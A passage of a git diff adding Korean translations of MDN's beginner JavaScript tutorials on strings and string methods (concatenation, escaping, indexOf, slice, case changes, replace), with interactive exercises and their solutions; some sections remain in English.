+<p>직전의 문제의 코드를 해결하기 위해, 우리는 따옴표를 이스케이프 문자로 만들어야 합니다. 이스케이프 문자란 어떤 한 문자를 코드가 아닌 문자열로 만들어주는 문자입니다. 자바스크립트에서는 역슬래시 ( \ )를 문자 바로 앞에 작성함으로써 코드가 아닌 문자열로 인식하게 합니다.</p>
+
+<pre class="brush: js">var bigmouth = 'I\'ve got no right to take my place...';
+bigmouth;</pre>
+
+<p>이것은 에러가 일어나지 않습니다. 당신은 <code>\"</code> 와 같게도 사용할 수 있습니다. 자세한 사항은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation">이스케이프 표기법</a>을 참고하십시오</p>
+
+<h2 id="문자열_연결하기">문자열 연결하기</h2>
+
+<ol>
+ <li>'Concatenate'는 '결합' 을 의미하는 프로프래밍 단어입니다. 자바스크립트에서 문자열을 함꼐 결합하려면 숫자를 더할 때 사용하는 것과 동일한 더하기 (+) 연산자를 사용하지만 이 상황에서는 다른 작업을 수행합니다. 콘솔에 예를 들어 보겠습니다.
+  <pre class="brush: js">var one = 'Hello, ';
+var two = 'how are you?';
+var joined = one + two;
+joined;</pre>
+  변수 <code>joined</code> 의 값은 "Hello, how are you?" 입니다.</li>
+ <li>마지막 예에서는, 그저 두 개의 문자열을 결합했을 뿐이지만 각 문자열 사이에 +를 포함하기만 하면 원하는 만큼의 문자열을 결합할 수 있습니다. 다음을 시도해 보십시오.
+  <pre class="brush: js">var multiple = one + one + one + one + two;
+multiple;</pre>
+ </li>
+ <li>또한 변수와 실제 문자열을 혼합하여 사용할 수도 있습니다. 다음을 시도해 보십시오.
+  <pre class="brush: js">var response = one + 'I am fine — ' + two;
+response;</pre>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>참고</strong>: 만약 코드에 따옴표나 쌍따옴표로 묶인 문자열을 입력하면 <strong>문자열 리터럴</strong> (string literal) 이라 불립니다.</p>
+</div>
+
+<h3 id="문자열의_연결">문자열의 연결</h3>
+
+<p>실제 작업에 사용되는 연결 방법에 대해 살펴보겠습니다. 이 과정에 앞부분의 예는 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;button&gt;Press me&lt;/button&gt;</pre>
+
+<pre class="brush: js">var button = document.querySelector('button');
+
+button.onclick = function() {
+  var name = prompt('What is your name?');
+  alert('Hello ' + name + ', nice to see you!');
+}</pre>
+
+<p>{{ EmbedLiveSample('Concatenation_in_context', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>여기서 우리는 {{domxref("Window.prompt()", "Window.prompt()")}} 를 4번째 줄에 쓰는데, 그것은 팝업 대화 상자를 통해 질문에 응답하도록 요청한 다음 지정된 변수 내에 입력하는 텍스트를 저장합니다 — 이 경우에는 <code>name</code> 에 저장합니다. 우리는{{domxref("Window.alert()", "Window.alert()")}} 을 5번째 줄에 사용하여 두 개의 문자열 리터럴 및 변수의 값이 포함된 다른 팝업을 표시합니다.</p>
+
+<h3 id="숫자_vs_문자열">숫자 vs 문자열</h3>
+
+<ol>
+ <li>그러면 문자열과 숫자를 추가 (또는 연결) 하면 어떻게 될까요? 콘솔에서 사용해 보겠습니다.
+  <pre class="brush: js">'Front ' + 242;
+</pre>
+  이 경우 오류가 발생할 것으로 예상할 수 있지만 잘 작동합니다. 숫자로 문자열을 나타내려는 것은 말이 안되지만 숫자를 문자열로 표현하는 것은 의미가 있습니다. 그래서 브라우저는 숫자를 문자열로 변환하고 두 문자열을 서로 연결시킵니다.</li>
+ <li> 숫자 두 개로도 연결할 수 있습니다 — 따옴표로 감싸면 숫자를 강제로 문자열로 만들 수 있습니다. 아래 코드를 실행해보세요(아래 코드에서 변수가 숫자인지 문자열인지를 확인하기 위해 <code>typeof</code> 연산자를 사용합니다.):
+  <pre class="brush: js">var myDate = '19' + '67';
+typeof myDate;</pre>
+ </li>
+ <li>만약 코드에 문자열로 바꾸고 싶은 숫자형 변수가 있지만 변수 자체의 값을 바꾸고 싶지 않거나 숫자로 바꾸고 싶은 문자열 변수가 있지만 변수 자체의 값을 바꾸고 싶지 않으면 아래와 같은 생성자를 사용할 수 있습니다:
+  <ul>
+   <li>{{jsxref("Number")}} 객체는 가능하면 어떠한 입력값이건 숫자로 바꿉니다. 다음 코드를 실행해보세요:
+    <pre class="brush: js">var myString = '123';
+var myNum = Number(myString);
+typeof myNum;</pre>
+   </li>
+   <li>반면, 모든 숫자는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toString">toString()</a></code> 이라는 함수를 가지고 있습니다. 이 함수는 숫자를 동등한 문자열로 변환합니다. 다음 코드를 실행해보세요:
+    <pre class="brush: js">var myNum = 123;
+var myString = myNum.toString();
+typeof myString;</pre>
+   </li>
+  </ul>
+  이 생성자들은 어떤 상황에서는 정말 유용할 수 있습니다. 예를 들어, 만약 어떤 사용자가 숫자를 텍스트 필드 폼에 입력하면, 그 입력 값은 문자열일 것입니다. 하지만 만약 여러분이 이 숫자를 어떤 값에다 더하고 싶다면, 이 입력 값을 숫자로 변환해야 합니다. 이 경우 <code>Number()</code> 에 이 값을 넘겨줘서 이 문제를 해결할 수 있습니다.우리는 이미 <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html#L61">Number Guessing Game, in line 61</a> 에서 이를 사용한 적이 있습니다.</li>
+</ol>
+
+<h2 id="마치며">마치며</h2>
+
+<p>여기까지 자바스크립트에서 다루는 문자열의 기본이었습니다. 다음 글에서는 자바스크립트에서 문자열에 사용할 수 있는 기본 제공 메소드를 조작하는 방법에 대해 알아보겠습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">What is JavaScript?</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">A first splash into JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables">Storing the information you need — Variables</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math">Basic math in JavaScript — numbers and operators</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">Handling text — strings in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li>
+</ul>
diff --git a/files/ko/learn/javascript/first_steps/useful_string_methods/index.html b/files/ko/learn/javascript/first_steps/useful_string_methods/index.html
new file mode 100644
index 0000000000..81c18061a0
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/useful_string_methods/index.html
@@ -0,0 +1,461 @@
+---
+title: 문자열 제대로 다루기
+slug: Learn/JavaScript/First_steps/Useful_string_methods
+translation_of: Learn/JavaScript/First_steps/Useful_string_methods
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary"><span style="background-color: #fefefe; color: #000000; display: inline !important; float: none; font-family: Arial,Tahoma,Helvetica,sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">이제까지 문자열의 기초를 살펴보았습니다. 이제부터 - 텍스트 문자열의 길이 찾기, 문자열 합치기 및 쪼개기 등과 같은- 내장된 메서드를 사용하여 문자열에서 수행할 수 있는 유용한 작업에 대해 생각해 봅시다. 문자열의 한 문자를 다른 문자로 대체하는 등의 작업을 수행합니다.</span></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row"><span style="color: #252525; display: inline !important; float: none; font-family: Roboto,arial,sans-serif; font-size: 18px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">선수 과목 :</span></th>
+   <td>
+    <p><span style="color: #252525; display: inline !important; float: none; font-family: Roboto,arial,sans-serif; font-size: 18px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">기본 컴퓨터 활용 능력, HTML 및 CSS에 대한 기본적인 이해, JavaScript가 무엇인지 이해합니다.</span></p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row"><span style="color: #252525; display: inline !important; float: none; font-family: Roboto,arial,sans-serif; font-size: 18px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">목표:</span></th>
+   <td><span style="background-color: #fefefe; color: #000000; display: inline !important; float: none; font-family: Arial,Tahoma,Helvetica,sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: left; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">문자열이 객체임을 이해하고, 해당 객체에서 사용할 수있는 몇 가지 기본 메서드를 사용하여 문자열을 조작하는 방법을 배웁니다.</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Strings_as_objects">Strings as objects</h2>
+
+<p id="Useful_string_methods">이전에 말했지만, 다시 말하면 - JavaScript의 모든 것이 객체입니다. 문자열을 만들 때, 예를 들면</p>
+
+<pre class="brush: js notranslate">var string = 'This is my string';</pre>
+
+<p><span style="color: #252525; display: inline !important; float: none; font-family: Roboto,arial,sans-serif; font-size: 18px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">변수가 문자열 객체 인스턴스되면, 결과적으로 수많은 속성과 메서드가 사용 가능하게 됩니다. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a> 객체 페이지로 이동하여 페이지 측면의 목록을 내려다 보면 이것을 볼 수 있습니다!</span></p>
+
+<p><span style="color: #252525; display: inline !important; float: none; font-family: Roboto,arial,sans-serif; font-size: 18px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">이제 뇌가 녹기 시작하기 전에, 걱정하지 마십시오! 학습 여행 중에 초기에 대부분을 알 필요가 없습니다. 그러나 여기에서 살펴볼 몇 가지 사항을 자주 사용하게 될 것입니다.</span></p>
+
+<p>콘솔에 예제를 작성해 보세요. 아래의 한 가지를 제공합니다(새 탭이나 새 창에서 콘솔을 열 수 있고, 브라우저의 개발자 콘솔을 사용할 수도 있습니다).</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;JavaScript console&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class', 'input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Result: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300) }}</p>
+
+<h3 id="문자열의_길이_찾기">문자열의 길이 찾기</h3>
+
+<p>간단합니다 — 간단하게  {{jsxref("String.prototype.length", "length")}} 프로퍼티를 사용할 수 있습니다. 다음 코드를 입력해 보세요.</p>
+
+<pre class="brush: js notranslate">var browserType = 'mozilla';
+browserType.length;</pre>
+
+<p>결과는 7을 리턴해야 합니다. 'mozilla'는 7글자이기 때문입니다. 이것은 여러 가지 이유로 유용합니다. 예를 들어 이름의 길이에 따라 이름의 순서를 정렬해야 하던가, 유저가 작성한 이름이 특정 길이 이상일 때 너무 길다는 것을 알려줘야 하는 경우에 사용할 수 있습니다.</p>
+
+<h3 id="특정_문자열_찾기">특정 문자열 찾기</h3>
+
+<p>관련하여, 대괄호 표기법을 이용해서 문자열 안의 문자를 구할 수 있습니다. 대괄호 표기법은 변수명 끝에 대괄호를 포함합니다. 대괄호 안에는 구하고 싶은 문자의 숫자를 포함시키면 되며, 예를 들어 아래의 경우 첫 번째 문자를 구할 수 있습니다:</p>
+
+<pre class="brush: js notranslate">browserType[0];</pre>
+
+<p>컴퓨터는 1이 아니라 0부터 숫자를 셉니다! 문자열의 마지막 문자를 구하기 위해서, 우리는 다음 코드를 사용할 수 있으며, 기술적인 <code>length</code> 프로퍼티과 같이 사용하면 아래와 같습니다:</p>
+
+<pre class="brush: js notranslate">browserType[browserType.length-1];</pre>
+
+<p>"mozilla"는 7글자이지만, 숫자는 0부터 시작하기 때문에 글자의 위치는 6입니다. 그렇기 때문에 <code>length-1</code>을 사용합니다. 예를 들어, 여러 문자열 중 첫 번째 문자를 찾아 알파벳순으로 정렬해야 할 경우에 사용할 수 있습니다.</p>
+
+<h3 id="문자열_내부의_하위_문자열_찾기_및_추출">문자열 내부의 하위 문자열 찾기 및 추출</h3>
+
+<ol>
+ <li>때때로 큰 문자열 안의 작은 문자열(우리는 이것을 하위 문자열이라고 이야기 한다.)을 찾고 싶을 것입니다. 이 작업은 {{jsxref("String.prototype.indexOf()", "indexOf()")}}를 사용하여 완료할 수 있습니다, which takes a single {{glossary("parameter")}} — 찾기 원하는 하위 문자열을 찾을 수 있습니다. 시도해 봅시다:
+  <pre class="brush: js notranslate">browserType.indexOf('zilla');</pre>
+  결과는 2입니다. 하위 문자열인 "zilla"는 "mozilla'의 2번 위치(0, 1, 2— 그러므로 3번째 문자열)에서 시작합니다. 이러한 코드는 문자열을 필터링하는 데 사용될 수 있습니다. 예를 들어 웹 주소 목록에서 "mozilla"가 포함된 주소만 인쇄하고 싶은 경우입니다.</li>
+ <li>다른 방법으로도 할 수 있으며, 더욱 효율적일 수 있습니다. 다음 예제를 따라해 봅시다:
+  <pre class="brush: js notranslate">browserType.indexOf('vanilla');</pre>
+  이렇게 하면 -1( 하위 문자열 (이 경우 'vanilla')이 기본 문자열에서 발견되지 않으면 반환한다.)의 결과를 얻을 수 있습니다.<br>
+  <br>
+  하위 문자열 'mozilla'가 포함되지 않은 문자열의 모든 인스턴스를 찾으려면 이 연산자를 사용하고 아래에 표시된 것처럼 부정 연산자를 사용해서 작업을 수행할 수 있습니다. 다음과 같이 할 수 있습니다:
+  <pre class="brush: js notranslate">if(browserType.indexOf('mozilla') !== -1) {
+  // do stuff with the string
+}</pre>
+ </li>
+ <li>문자열 내에서 부분 문자열이 어디에서 시작되고 어떤 문자로 끝나는지 알고 싶으면 {{jsxref("String.prototype.slice()", "slice()")}}를 사용하여 문자열을 추출할 수 있습니다. 다음을 시도해 봅시다:
+  <pre class="brush: js notranslate">browserType.slice(0,3);</pre>
+  "moz"를 반환합니다 - 첫 번째 파라메터는 추출을 시작할 문자 위치이고 두 번째 파라메터는 추출할 문자의 갯수입니다. 따라서 슬라이스는 첫 번째 위치에서부터 세 번째 위치까지 포함됩니다.</li>
+ <li>또한 특정 문자 뒤에 문자열의 나머지 문자를 모두 추출하려는 경우 두 번째 매개 변수를 포함하지 않고 문자열에서 나머지 문자를 추출할 위치의 문자 위치만 포함하면 됩니다. 다음을 시도해보십시오.
+  <pre class="brush: js notranslate">browserType.slice(2);</pre>
+  이렇게 하면 "zilla"가 반환됩니다. 문자의 2번째 위치는 "z"이고 두 번째 매개 변수를 포함하지 않았기 때문에 반환된 하위 문자열은 문자열의 나머지 문자 모두입니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: <code>slice()</code>의 두 번째 매개 변수는 선택사항입니다 : 이를 포함하지 않으면 <code>slice()</code>는 원래 문자열의 끝에 끝납니다. 게다가 다른 매개변수도 존재합니다.{{jsxref("String.prototype.slice()", "slice()")}} 페이지를 방문하여 더 자세하게 알 수 있습니다.</p>
+</div>
+
+<h3 id="대소문자_변경">대/소문자 변경</h3>
+
+<p>문자열 메소드 {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}} 와{{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}} 는 문자열을 가져와 그것을 모두 각각 대문자나 소문자로 바꿉니다. 이는 데이터베이스에 저장하기 전에 모든 사용자 입력 데이터를 표준화하려는 경우 유용합니다.</p>
+
+<p>다음 행을 입력하여 어떻게 되는지 살펴보겠습니다.</p>
+
+<pre class="brush: js notranslate">var radData = 'My NaMe Is MuD';
+radData.toLowerCase();
+radData.toUpperCase();</pre>
+
+<h3 id="문자열의_일부를_변경하기">문자열의 일부를 변경하기</h3>
+
+<p>문자열 내의 한 하위 문자열을 {{jsxref("String.prototype.replace()", "replace()")}} 를 통해 다른 하위 문자열로 바꿀 수 있습니다. 이 작업은 기본적인 수준에서 매우 간단하게 작동합니다. 하지만 아직 시도해보지 않은 고급 작업도 있습니다.</p>
+
+<p>그것은 2개의 매개변수를 가집니다. — 바뀜을 당하는 문자와 바꾸려는 문자입니다. 다음 예제를 따라해보세요.:</p>
+
+<pre class="brush: js notranslate">browserType.replace('moz','van');</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>이 섹션에서는 문자열을 다루는 방법을 설명합니다. 아래의 각 실습에서는 문자열로 이루어진 배열을 루프문을 사용해 bullet list(불릿 리스트)로 표현하였습니다. 지금 배열이나 루프를 이해할 필요가 없습니다. - 이러한 내용은 추후에 설명합니다. 중요한것은 각각의 문자열이 우리가 원하는 형식으로 출력하는 코드를 작성하는 것입니다.</p>
+
+<p>각 예제에는 리셋 버튼이 있고, 리셋 버튼은 실수를 했거나 코드가 작동하지 않아서 재설정하는데 사용할 수 있습니다. 해결 방법을 모를 때, 해답 버튼(solution button)을 누르면  해답을 볼 수 있습니다.</p>
+
+<h3 id="인사말_필터링_하기">인사말 필터링 하기</h3>
+
+<p>첫 번째 예제는 간단히 시작해봅시다. 우리는 배열에 들어있는 크리스마스 인사말 메시지를 정렬하려고 합니다. if(...)을 사용해 각 문자열을 비교하고 크리스마스 메시지인 경우의 목록만 인쇄하려고 합니다.</p>
+
+<ol>
+ <li>먼저 각 메시지가 크리스마스 메시지인지 여부를 테스트할 수 있는 방법을 생각해봅시다. 메시지들은 어떤 문자열이 있고, 존재하는지 테스트하기 위해 어떤 방법을 사용할 수 있을까요?</li>
+ <li>연산자와 피연산자를 사용해 조건문을 만들어야 합니다. 연산자 왼쪽에 있는것과 연산자 오른쪽에 있는 것이 동등한가요? 또는 이 경우 왼쪽 메서드가 오른쪽으로 결과값을 전달합니까?</li>
+ <li>힌트 : 이 경우 메서드 호출이 결과값과 같지 않은지 테스트하는 것이 더 유용할 수 있습니다.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;div class="output" style="min-height: 125px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 290px;"&gt;
+var list = document.querySelector('.output ul');
+list.innerHTML = '';
+var greetings = ['Happy Birthday!',
+                 'Merry Christmas my love',
+                 'A happy Christmas to all the family',
+                 'You\'re all I want for Christmas',
+                 'Get well soon'];
+
+for (var i = 0; i &lt; greetings.length; i++) {
+  var input = greetings[i];
+  // Your conditional test needs to go inside the parentheses
+  // in the line below, replacing what's currently there
+  if (greetings[i]) {
+    var result = input;
+    var listItem = document.createElement('li');
+    listItem.textContent = result;
+    list.appendChild(listItem);
+  }
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  textarea.value = jsSolution;
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar greetings = [\'Happy Birthday!\',\n                 \'Merry Christmas my love\',\n                 \'A happy Christmas to all the family\',\n                 \'You\\\'re all I want for Christmas\',\n                 \'Get well soon\'];\n\nfor(var i = 0; i &lt; greetings.length; i++) {\n  var input = greetings[i];\n  if(greetings[i].indexOf(\'Christmas\') !== -1) {\n    var result = input;\n    var listItem = document.createElement(\'li\');\n    listItem.textContent = result;\n    list.appendChild(listItem);\n  }\n}';
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 490) }}</p>
+
+<h3 id="대소문자_맞게_수정하기">대/소문자 맞게 수정하기</h3>
+
+<p>이 예제에는 영국 도시의 이름들을 모아놨습니다만 대/소문자가 잘못되어 있습니다. 우리는 이 문자들을 첫 번째 문자를 제외하고 모두 소문자로 변경해야 합니다. 이것은 다음과 같은 방식으로 할 수 있습니다:</p>
+
+<ol>
+ <li><code>input</code> 변수에 담긴 문자열 전체를 소문자로 변환한 후 새로운 변수에 저장하세요.</li>
+ <li>새로운 변수에 저장된 문자열의 첫 문자를 다른 변수에 저장하세요</li>
+ <li>Using this latest variable as a substring, replace the first letter of the lowercase string with the first letter of the lowercase string changed to upper case. Store the result of this replace procedure in another new variable.</li>
+ <li>Change the value of the <code>result</code> variable to equal to the final result, not the <code>input</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: A hint — the parameters of the string methods don't have to be string literals; they can also be variables, or even variables with a method being invoked on them.</p>
+</div>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html notranslate">&lt;div class="output" style="min-height: 125px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 250px;"&gt;
+var list = document.querySelector('.output ul');
+list.innerHTML = '';
+var cities = ['lonDon', 'ManCHESTer', 'BiRmiNGHAM', 'liVERpoOL'];
+for(var i = 0; i &lt; cities.length; i++) {
+  var input = cities[i];
+  // write your code just below here
+
+  var result = input;
+  var listItem = document.createElement('li');
+  listItem.textContent = result;
+  list.appendChild(listItem);
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  textarea.value = jsSolution;
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar cities = [\'lonDon\', \'ManCHESTer\', \'BiRmiNGHAM\', \'liVERpoOL\'];\n\nfor(var i = 0; i &lt; cities.length; i++) {\n  var input = cities[i];\n  var lower = input.toLowerCase();\n  var firstLetter = lower.slice(0,1);\n  var capitalized = lower.replace(firstLetter,firstLetter.toUpperCase());\n  var result = capitalized;\n  var listItem = document.createElement(\'li\');\n  listItem.textContent = result;\n  list.appendChild(listItem);\n\n}';
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 450) }}</p>
+
+<h3 id="Making_new_strings_from_old_parts">Making new strings from old parts</h3>
+
+<p>In this last exercise the array contains a bunch of strings containing information about train stations in the North of England. The strings are data items that contain the three letter station code, followed by some machine-readable data, followed by a semi-colon, followed by the human-readable station name. For example:</p>
+
+<pre class="notranslate">MAN675847583748sjt567654;Manchester Piccadilly</pre>
+
+<p>We want to extract the station code and name, and put them together in a  string with the following structure:</p>
+
+<pre class="notranslate">MAN: Manchester Piccadilly</pre>
+
+<p>We'd recommend doing it like this:</p>
+
+<ol>
+ <li>Extract the three-letter station code and store it in a new variable.</li>
+ <li>Find the character index number of the semi-colon.</li>
+ <li>Extract the human-readable station name using the semi-colon character index number as a reference point, and store it in a new variable.</li>
+ <li>Concatenate the two new variables and a string literal to make the final string.</li>
+ <li>Change the value of the <code>result</code> variable to equal to the final string, not the <code>input</code>.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code_3">Playable code 3</h6>
+
+<pre class="brush: html notranslate">&lt;div class="output" style="min-height: 125px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 285px;"&gt;
+var list = document.querySelector('.output ul');
+list.innerHTML = '';
+var stations = ['MAN675847583748sjt567654;Manchester Piccadilly',
+                'GNF576746573fhdg4737dh4;Greenfield',
+                'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street',
+                'SYB4f65hf75f736463;Stalybridge',
+                'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield'];
+
+for (var i = 0; i &lt; stations.length; i++) {
+  var input = stations[i];
+  // write your code just below here
+
+  var result = input;
+  var listItem = document.createElement('li');
+  listItem.textContent = result;
+  list.appendChild(listItem);
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  textarea.value = jsSolution;
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nlist.innerHTML = \'\';\nvar stations = [\'MAN675847583748sjt567654;Manchester Piccadilly\',\n                \'GNF576746573fhdg4737dh4;Greenfield\',\n                \'LIV5hg65hd737456236dch46dg4;Liverpool Lime Street\',\n                \'SYB4f65hf75f736463;Stalybridge\',\n                \'HUD5767ghtyfyr4536dh45dg45dg3;Huddersfield\'];\n\nfor(var i = 0; i &lt; stations.length; i++) {\n  var input = stations[i];\n  var code = input.slice(0,3);\n  var semiC = input.indexOf(\';\');\n  var name = input.slice(semiC + 1);\n  var final = code + \': \' + name;\n  var result = final;\n var listItem = document.createElement(\'li\');\n  listItem.textContent = result;\n  list.appendChild(listItem);\n}';
+
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_3', '100%', 485) }}</p>
+
+<h2 id="결론">결론</h2>
+
+<p>자바스크립트에서 문장과 단어들을 다룰 수 있는 프로그래밍 능력이 매우 중요하다. 웹사이트는 사람들과 소통하는 공간이기 때문이다. 이 문서는 문자열을 다룰 수 있는 기초적인 내용에 대해 다루었다. 이 내용은 앞으로 배우게 될 심화 과정에 도움이 될 것이다. 다음으로 배열에 대해 알아보겠다.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p>
diff --git a/files/ko/learn/javascript/first_steps/variables/index.html b/files/ko/learn/javascript/first_steps/variables/index.html
new file mode 100644
index 0000000000..7d4b2adf4e
--- /dev/null
+++ b/files/ko/learn/javascript/first_steps/variables/index.html
@@ -0,0 +1,360 @@
+---
+title: 필요한 정보를 저장하기-변수
+slug: Learn/JavaScript/First_steps/Variables
+translation_of: Learn/JavaScript/First_steps/Variables
+---
+<div>{{LearnSidebar}}</div>
+
